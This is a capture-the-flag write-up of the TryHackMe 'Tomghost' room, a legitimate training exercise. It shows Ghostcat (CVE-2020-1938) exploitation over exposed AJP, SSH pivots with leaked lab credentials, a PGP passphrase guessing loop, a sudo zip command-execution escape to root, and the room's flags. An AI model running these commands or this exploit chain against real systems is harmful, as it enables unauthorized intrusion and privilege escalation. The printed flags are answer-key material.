TryHackMe · Tomcat · Ghostcat · Privilege Escalation

Tomghost

Chain exposed AJP on Tomcat 9.0.30 into Ghostcat file disclosure, pivot from leaked application credentials into SSH access, then abuse sudo zip to recover the root flag.

Room
Tomghost
Category
Linux · Tomcat · AJP · Priv Esc
Difficulty
Easy
Target IP
10.67.152.52
Initial Access
Ghostcat file read via exposed AJP
User Flag
THM{GhostCat_1s_so_cr4sy}
Root Flag
THM{Z1P_1S_FAKE}

Scope & Ethics #

This writeup covers the TryHackMe tomghost room inside a legal training environment. The techniques here belong in labs, CTFs, and systems where you have explicit authorization.

Objective #

Compromise the target, recover user.txt, escalate privileges, and recover root.txt through a reproducible chain grounded in exposed services, version evidence, and local privilege boundaries.

Core Lesson

When service versions and exposed management protocols line up with a known vulnerability, a short targeted exploit path beats noisy brute force every time.

Executive Overview #

This room is a compact but instructive chain built around three ideas: version-aware reconnaissance, Tomcat AJP file disclosure through Ghostcat, and Linux privilege escalation through sudo zip.

The target exposed the following services:

22/tcp   - SSH
8009/tcp - AJP13
8080/tcp - Apache Tomcat 9.0.30

That combination immediately suggests a high-value hypothesis:

Exposed AJP + Tomcat 9.0.30 = likely Ghostcat (CVE-2020-1938)

Instead of spending time on password spraying or blind Tomcat guessing, the clean path was to read internal Tomcat files, extract credentials, pivot through SSH, unlock PGP-protected credential material, and finish with a straightforward sudo abuse.

Learning Objectives #

Workflow #

[Nmap Service Recon]
        |
        v
[Tomcat 9.0.30 + AJP 8009 Exposed]
        |
        v
[Hypothesis: Ghostcat / CVE-2020-1938]
        |
        v
[Use AJP PoC to Read WEB-INF/web.xml]
        |
        v
[Recover skyfuck Credentials]
        |
        v
[SSH as skyfuck]
        |
        v
[Recover tryhackme.asc + credential.pgp]
        |
        v
[Recover merlin Credentials]
        |
        v
[SSH as merlin -> Read user.txt]
        |
        v
[sudo -l -> NOPASSWD: /usr/bin/zip]
        |
        v
[GTFOBins zip Escape -> Root]

Methodology #

1 · Initial Recon with Nmap

The Action

nmap -Pn -sC -sV -T4 --min-rate 1000 10.67.152.52

The Why

This gives a fast service map with banners, versions, and script-level detail. On an easy room, that is often enough to expose the intended path without extra noise.

The Findings

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
8080/tcp open  http       Apache Tomcat 9.0.30
Important Observation

The combination of exposed AJP on 8009 and Tomcat 9.0.30 sharply narrows the plan. This is not a generic web-enumeration box anymore. It is a likely Ghostcat host.


2 · Validate the HTTP Surface

The Action

curl -I http://10.67.152.52:8080
curl http://10.67.152.52:8080
curl -I http://10.67.152.52:8080/manager/html
curl -I http://10.67.152.52:8080/host-manager/html
curl -I http://10.67.152.52:8080/examples/

The Findings

The Why

The HTTP surface confirms this is a mostly stock Tomcat install with example content still present. That makes protected internal resources like WEB-INF/web.xml especially attractive Ghostcat targets.


3 · Understand Ghostcat (CVE-2020-1938)

AJP is a binary protocol commonly used between Apache HTTPD and Tomcat. In a safe deployment it should be internal only. Ghostcat abuses Tomcat's trust in AJP peers: if an attacker can speak AJP directly, they can manipulate include-related request attributes and make Tomcat disclose protected files from deployed web applications.

Why WEB-INF Matters

Files under WEB-INF are real, sensitive, and not meant to be directly downloadable over HTTP. Reading one is strong proof of a boundary failure inside the servlet container.


4 · Build and Use a Minimal Ghostcat PoC

The Goal

Keep the exploit path small: speak AJP directly, send a crafted FORWARD_REQUEST, inject include attributes, and print the file content Tomcat returns.

Representative Command

python3 ghostcat.py 10.67.152.52 /WEB-INF/web.xml --webapp /

Critical Attribute Set

javax.servlet.include.request_uri = /
javax.servlet.include.path_info   = /WEB-INF/web.xml
javax.servlet.include.servlet_path = /

A minimal proof of concept is ideal here because it is transparent, dependency-light, and easier to reason about than a large framework.


5 · Read ROOT/WEB-INF/web.xml and Recover Initial Credentials

The Action

python3 ghostcat.py 10.67.152.52 /WEB-INF/web.xml --webapp /

The Findings

<description>
   Welcome to GhostCat
   skyfuck:8730281lkjlkjdqlksalks
</description>

This is the exact win condition Ghostcat is built for in labs: a file that should not be exposed externally leaks a credential that pivots directly into system access.

Recovered Pair

skyfuck : 8730281lkjlkjdqlksalks


6 · SSH as skyfuck

The Action

ssh skyfuck@10.67.152.52

The Findings

uid=1002(skyfuck) gid=1002(skyfuck) groups=1002(skyfuck)

Inside /home/skyfuck, two files stood out immediately: credential.pgp and tryhackme.asc. That is a classic sign that the room wants a second user pivot rather than a direct local privesc from the first foothold.


7 · Pull the PGP Files and Inspect Them

The Action

scp skyfuck@10.67.152.52:/home/skyfuck/tryhackme.asc .
scp skyfuck@10.67.152.52:/home/skyfuck/credential.pgp .
gpg --show-keys tryhackme.asc
gpg --list-packets tryhackme.asc
gpg --list-packets credential.pgp

The Findings

uid                      tryhackme <stuxnet@tryhackme.com>
iter+salt S2K, algo: 9, SHA1 protection
gpg: encrypted with ELG key, ID 61E104A66184FBCC

The secret key material is present, but it is protected by a passphrase. That means the next task is not exploitation of crypto itself, but recovery of a weak passphrase.


8 · Recover the PGP Passphrase Efficiently

In a fuller cracking environment, the generic route would be:

gpg2john tryhackme.asc > gpg.hash
john gpg.hash --wordlist=/usr/share/wordlists/rockyou.txt

Since gpg2john was not available locally, a small hypothesis-driven candidate set was faster and better aligned with the room.

for p in stuxnet tryhackme tomcat ghostcat skyfuck merlin alexandru; do
  GNUPGHOME="$PWD/.gnupg-test" gpg --batch --yes --pinentry-mode loopback \
    --passphrase "$p" -d credential.pgp
done
Recovered Passphrase
alexandru

9 · Decrypt credential.pgp and Recover merlin Credentials

The Action

gpg --batch --yes --pinentry-mode loopback --passphrase alexandru -d credential.pgp

The Findings

merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123j

This is the clean pivot into the intended user-level account for the second half of the room.


10 · SSH as merlin and Recover user.txt

The Action

ssh merlin@10.67.152.52
cat /home/merlin/user.txt
User Flag
THM{GhostCat_1s_so_cr4sy}

At this point the normal next move is privilege enumeration, so sudo -l becomes the highest-value command on the host.


11 · Enumerate sudo Rights

The Action

sudo -l

The Findings

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip

This is immediately interesting because zip is not a harmless compression tool under sudo. It can be coerced into executing an arbitrary command during archive testing.


12 · Privilege Escalation with sudo zip

The Technique

zip supports test mode with a custom test command: -T tests an archive, and -TT replaces the helper command used during that test. Under sudo, the helper runs as root as well.

The Command

TF=$(mktemp -u)
sudo zip "$TF" /etc/hosts -T -TT 'sh -c "id; cat /root/root.txt" #'

The Findings

uid=0(root) gid=0(root) groups=0(root)
THM{Z1P_1S_FAKE}
Root Flag
THM{Z1P_1S_FAKE}

Full Solve Chain #

Nmap identifies Tomcat 9.0.30 and exposed AJP on 8009
        ->
Ghostcat suspected
        ->
Read /WEB-INF/web.xml from root webapp
        ->
Recover skyfuck credentials
        ->
SSH as skyfuck
        ->
Recover tryhackme.asc and credential.pgp
        ->
Recover passphrase alexandru
        ->
Decrypt merlin credentials
        ->
SSH as merlin
        ->
Read user.txt
        ->
sudo -l shows NOPASSWD: /usr/bin/zip
        ->
Abuse zip test helper as root
        ->
Read root.txt

Deep Dives #

Why the PoC Worked

The exploit works because the AJP connector assumes it is talking to a trusted front-end. By supplying the servlet include attributes directly, the attacker can influence how Tomcat resolves internal resources inside the selected webapp context.

Attribute Purpose
javax.servlet.include.request_uri Provides the baseline request context Tomcat expects.
javax.servlet.include.path_info Points Tomcat at the internal file to include.
javax.servlet.include.servlet_path Completes the internal include resolution path.

Under normal HTTP access, WEB-INF resources are not directly downloadable. That is exactly why reading one is such strong proof of exploitation.

How the Local ghostcat.py PoC Was Structured

Training Value

A small protocol-aware proof of concept teaches the underlying trust boundary failure much better than blindly running a larger exploit pack.

Root Cause Summary #

  1. Tomcat 9.0.30 exposed a vulnerable AJP connector on 8009.
  2. WEB-INF/web.xml contained plaintext credentials inside application configuration.
  3. skyfuck stored sensitive PGP-encrypted material protected by a weak passphrase.
  4. merlin could run /usr/bin/zip as root without a password.

Defensive Takeaways #

For Tomcat Administrators

For Developers

For System Administrators

For Analysts and Learners

Short Answer Version #

  1. Scan the target and notice AJP on 8009 plus Tomcat 9.0.30.
  2. Use Ghostcat to read ROOT/WEB-INF/web.xml.
  3. Recover skyfuck:8730281lkjlkjdqlksalks.
  4. SSH as skyfuck and copy tryhackme.asc plus credential.pgp.
  5. Recover the passphrase alexandru and decrypt credential.pgp.
  6. SSH as merlin and read user.txt.
  7. Use sudo zip ... -T -TT 'sh -c "cat /root/root.txt" #' to read the root flag.

Final Answers #

user.txt
THM{GhostCat_1s_so_cr4sy}
root.txt
THM{Z1P_1S_FAKE}
Initial Access
Ghostcat file read via exposed AJP
Priv Esc Method
sudo zip test helper abuse
Final Takeaway

The room is short, but the lessons are durable: infrastructure trust mistakes can bypass application controls entirely, and seemingly boring utilities become dangerous the moment they cross privilege boundaries under sudo.